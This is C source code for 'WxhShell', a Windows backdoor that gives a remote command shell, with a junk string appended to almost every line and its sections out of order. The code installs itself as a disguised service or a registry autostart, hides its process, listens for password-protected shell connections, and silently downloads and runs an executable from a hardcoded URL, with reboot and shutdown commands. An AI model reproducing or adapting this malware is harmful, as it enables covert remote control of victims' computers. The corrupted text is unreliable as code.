ULONG UniqueProcessId; GZc%*
ULONG InheritedFromUniqueProcessId; Xklp6{VH9
} PROCESS_BASIC_INFORMATION; ^~5tntb.
1*r{%6
PROCNTQSIP NtQueryInformationProcess; ZX.VzZS
A_%}kt
(6
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 7OOB6[.fu
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ANCgch\
t
MB;GIb#
HANDLE hProcess;
?#kI9n<O
PROCESS_BASIC_INFORMATION pbi; `z3?ET
y( MF_'l
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); m`9)DsR
N
if(NULL == hInst ) return 0; zoOm[X=?3
JPUDnPr
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 3a{QkVeV7
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); `>8|
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); _jZDSz|Yb
V_}`2.Pg
if (!NtQueryInformationProcess) return 0; &nn.h@zje
}
2)s%
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); F;ONo.v;
if(!hProcess) return 0; df1* [
=10t3nA1$
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ~N'KIP[W
@R2|=ox
CloseHandle(hProcess); ~:)$~g7>b
>M:5yk@
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); !gf&l ^)
if(hProcess==NULL) return 0; fJE ki>1
lGLZIp
HMODULE hMod; 2z[Pw0#V
char procName[255]; /2HwK/RZ
unsigned long cbNeeded; :`
~b&Oz)
}UGPEf\
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); !Q7
]K9x<@!
CloseHandle(hProcess); KH
KqE6
b vu` =
if(strstr(procName,"services")) return 1; // 以服务启动 {J0^S
nh0&'hA
return 0; // 注册表启动 jyQVSQs
} IN_gF_@%
/[?Jylj
// 主模块 ._,trb>o
int StartWxhshell(LPSTR lpCmdLine) ~6HDW
{ 8W,*eke?
SOCKET wsl; kFwxK"n@C
BOOL val=TRUE; "@)lH
int port=0; :\bfGSD/gd
struct sockaddr_in door; ERC<Dd0
s0lYj@E'
if(wscfg.ws_autoins) Install(); Ay%:@j(E
xiCN
qk3
port=atoi(lpCmdLine); c,$mWTC
OoM_q/oI
if(port<=0) port=wscfg.ws_port; "teyi"U+
b{pg!/N4
WSADATA data; <4f,G]UH_
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; GX5W^//}
T V;BNCg
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; )%
gU
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); {$7vd
door.sin_family = AF_INET; MM&qLAa"f
door.sin_addr.s_addr = inet_addr("127.0.0.1"); i3)7Qa[
door.sin_port = htons(port); !
GtF%V
e:.D^GFi
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ^`RMf5i1m
closesocket(wsl); f:AfM f>m
return 1; dIA1\;@
} ?5EMDawt
B- |C%~fe
if(listen(wsl,2) == INVALID_SOCKET) { :3b\ pEO9\
closesocket(wsl); %/}d'WJR
return 1; ?\<Kb|Q
} #UvWS
Wxhshell(wsl); ^e80S^
WSACleanup(); +O8}twt@
hn$jI5*`
return 0; XAB/S8 e
:>jzL8
} M?DXCsZ,)s
roIc1Ax:
// 以NT服务方式启动 dO9bxHMnM
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) |T*t3}
{ <AHdz/N
DWORD status = 0; @-ir
DWORD specificError = 0xfffffff;
:Z6l)R+V
bOr6"nn
serviceStatus.dwServiceType = SERVICE_WIN32; d1NKVMeWr
serviceStatus.dwCurrentState = SERVICE_START_PENDING; )X6I#q8
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; y#nyH0U
serviceStatus.dwWin32ExitCode = 0; D/z*F8'c
serviceStatus.dwServiceSpecificExitCode = 0; oP:OurX8V
serviceStatus.dwCheckPoint = 0; o KY0e&5
serviceStatus.dwWaitHint = 0; g&/r =U
D&6.> wt
.
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); R?:(~ X\
if (hServiceStatusHandle==0) return; WVx^}_FD0
I=k`VI d:
status = GetLastError(); i}C%`1+(
if (status!=NO_ERROR) =05jjR1
{ l i%8X.
serviceStatus.dwCurrentState = SERVICE_STOPPED; iUS?xKN$~-
serviceStatus.dwCheckPoint = 0; LOk J
serviceStatus.dwWaitHint = 0; W)`H(J
serviceStatus.dwWin32ExitCode = status; \obM}caT
serviceStatus.dwServiceSpecificExitCode = specificError; I.1(qbPkF+
SetServiceStatus(hServiceStatusHandle, &serviceStatus); Pj7MR/AH
return; raZ0B,;eFu
} ItG|{Bo
= Fwzm^}6
serviceStatus.dwCurrentState = SERVICE_RUNNING; @nM+*0
$d
serviceStatus.dwCheckPoint = 0; *#B"%;Ln
serviceStatus.dwWaitHint = 0; 2K2*UC`f
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); t k+t3+
} vARZwIu^D
T>v`UN Bl]
// 处理NT服务事件,比如:启动、停止 '~pZj"uy
VOID WINAPI NTServiceHandler(DWORD fdwControl) oXGP6#
{ =CL h<&
switch(fdwControl) A$]#f
{ ]iaQD _'\
case SERVICE_CONTROL_STOP: i]0$7s9!
serviceStatus.dwWin32ExitCode = 0; !6*4^$i#o
serviceStatus.dwCurrentState = SERVICE_STOPPED; eie u|_
serviceStatus.dwCheckPoint = 0; )GJlQ1x
serviceStatus.dwWaitHint = 0; t=dZM}wj_\
{ n:%A4*
SetServiceStatus(hServiceStatusHandle, &serviceStatus); d)v!U+-|'
} ?$4CgN-
return; ns&(g^
case SERVICE_CONTROL_PAUSE: Xgo`XsA
serviceStatus.dwCurrentState = SERVICE_PAUSED; #s-li b
break; !)uXCg9U
case SERVICE_CONTROL_CONTINUE: z9^_5la#
serviceStatus.dwCurrentState = SERVICE_RUNNING; -V}ZbXJD
break; )h;zH,DA[3
case SERVICE_CONTROL_INTERROGATE: zfUkHL6
break; SSr2K
}; Y1 6pT
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 3$kElq[
} Ijs=4f
/S%!{;:
// 标准应用程序主函数 2$oGy
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) "z|%V/2b3
{ Td![Id
^Kh>La:>O
// 获取操作系统版本 9;EY3[N
OsIsNt=GetOsVer(); )"y]_}
GetModuleFileName(NULL,ExeFile,MAX_PATH); @#| R{5=+
< nyk:E
// 从命令行安装 ps=QVX)YP
if(strpbrk(lpCmdLine,"iI")) Install(); &/lmg!6
e
irRAU
// 下载执行文件 0 mR
if(wscfg.ws_downexe) { obdFS,JxxG
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) C6O8RHg
WinExec(wscfg.ws_filenam,SW_HIDE); xs\!$*R
} Q%aU42?_1
NA,CZ
if(!OsIsNt) { 5W
=(+Q>C
// 如果时win9x,隐藏进程并且设置为注册表启动 4(?G6y)
HideProc(); EPW7+Ve
StartWxhshell(lpCmdLine); (wRBd
} +5v}q.:+
else iW-t}}Z>B
if(StartFromService()) Hq-v@@0 *
// 以服务方式启动 _]_L F[
StartServiceCtrlDispatcher(DispatchTable); _[0I^o
else +ruj
// 普通方式启动 S}O5l}E
StartWxhshell(lpCmdLine); wbo{JQ
9{T 8M
return 0; "Fo
} JB641nv
@2-Hj~
yBUZVqqDa
Lg\8NtP
=========================================== tWCv]*
2yi*eR
[FeJ8P>z
^^t]vojX
9^b7jw
_6QLnr&@j
" :+Z>nHe
ek0;8Ds9
#include <stdio.h> e)
/u>I
#include <string.h> +~pc%3*
#include <windows.h> ui#1 +p3G
#include <winsock2.h> 7Hr4yh[j&
#include <winsvc.h> Ig?.*j ]
#include <urlmon.h> L4A/7Ep
^9V8 M9
#pragma comment (lib, "Ws2_32.lib") >fzzrD}]
#pragma comment (lib, "urlmon.lib") MKhL^c-
][K8\
#define MAX_USER 100 // 最大客户端连接数 T`0gtSS
#define BUF_SOCK 200 // sock buffer - OGy-"
#define KEY_BUFF 255 // 输入 buffer Jt^JE{m9%
k.f:nv5JO
#define REBOOT 0 // 重启 Ox1QP2t6Y
#define SHUTDOWN 1 // 关机 KHtY
+93
VWa(@A
#define DEF_PORT 5000 // 监听端口 g=Di2j{A
~JpUO~i/
#define REG_LEN 16 // 注册表键长度 8"+Kz
#define SVC_LEN 80 // NT服务名长度 ;X8eZQ
N*eZ4s'
// 从dll定义API 8IO4>CMkv
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); -{HA+ YL H
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); HJDM\j*5
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 7v{Dwg
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); D ,nF0p
-{^Gzui
// wxhshell配置信息
W+e
struct WSCFG { T{Av[>M
int ws_port; // 监听端口 flRok?iF
char ws_passstr[REG_LEN]; // 口令 rAgb<D@,H
int ws_autoins; // 安装标记, 1=yes 0=no WmeV[iI
char ws_regname[REG_LEN]; // 注册表键名 Pwf":U)
char ws_svcname[REG_LEN]; // 服务名 |Gz(q4
char ws_svcdisp[SVC_LEN]; // 服务显示名 yN9/'c~
char ws_svcdesc[SVC_LEN]; // 服务描述信息 y6fYNB
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 G#UO>i0jy
int ws_downexe; // 下载执行标记, 1=yes 0=no /@:I\&{f'9
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" b}WU
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 T)MKhK9\Ab
af)L+%Q%R
}; ta%yQd7
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// default Wxhshell configuration Lc=t,=OhGe
struct WSCFG wscfg={DEF_PORT, S3$&}I <
"xuhuanlingzhe", voiWf?X
1, =XVw{\#9 b
"Wxhshell", EJrP{GH
"Wxhshell", 0tK(:9S
"WxhShell Service", m9 1Gc?c
"Wrsky Windows CmdShell Service", Ejmpg_kux
"Please Input Your Password: ", +87|gC7B
1, /V0[Urc@
"http://www.wrsky.com/wxhshell.exe", pC^d-Ii
"Wxhshell.exe" ;0FfP
}; .k cyw>T`I
}Y:V&4DW
// 消息定义模块 ^M0
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; {OIB/
char *msg_ws_prompt="\n\r? for help\n\r#>"; id+ ~ V
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 9eBD)tnw
char *msg_ws_ext="\n\rExit."; t^
Ge "
char *msg_ws_end="\n\rQuit."; Q`kV|
pjg
char *msg_ws_boot="\n\rReboot..."; 5X&Y~w,poU
char *msg_ws_poff="\n\rShutdown..."; wDR/Vr"f
char *msg_ws_down="\n\rSave to "; i]9C"Kw$L
m~04I~8vk
char *msg_ws_err="\n\rErr!"; 2ci[L:U
char *msg_ws_ok="\n\rOK!"; 2ca#@??R
pmRm&VgE.
char ExeFile[MAX_PATH]; S#kYPe
int nUser = 0; fJOwE
g|
HANDLE handles[MAX_USER]; "%lIB{
int OsIsNt; qA0PGo
dIW@L
SERVICE_STATUS serviceStatus; 9HB+4q[
SERVICE_STATUS_HANDLE hServiceStatusHandle; D%L^[|)c\s
,.Lwtp,n
// 函数声明 CFC15/yU
int Install(void); PriLV4?
int Uninstall(void); R:4@a ':H
int DownloadFile(char *sURL, SOCKET wsh); JkhW LQ>o
int Boot(int flag); d~ +(g!
void HideProc(void); EQN)y27poW
int GetOsVer(void); .' }jd#
int Wxhshell(SOCKET wsl); da<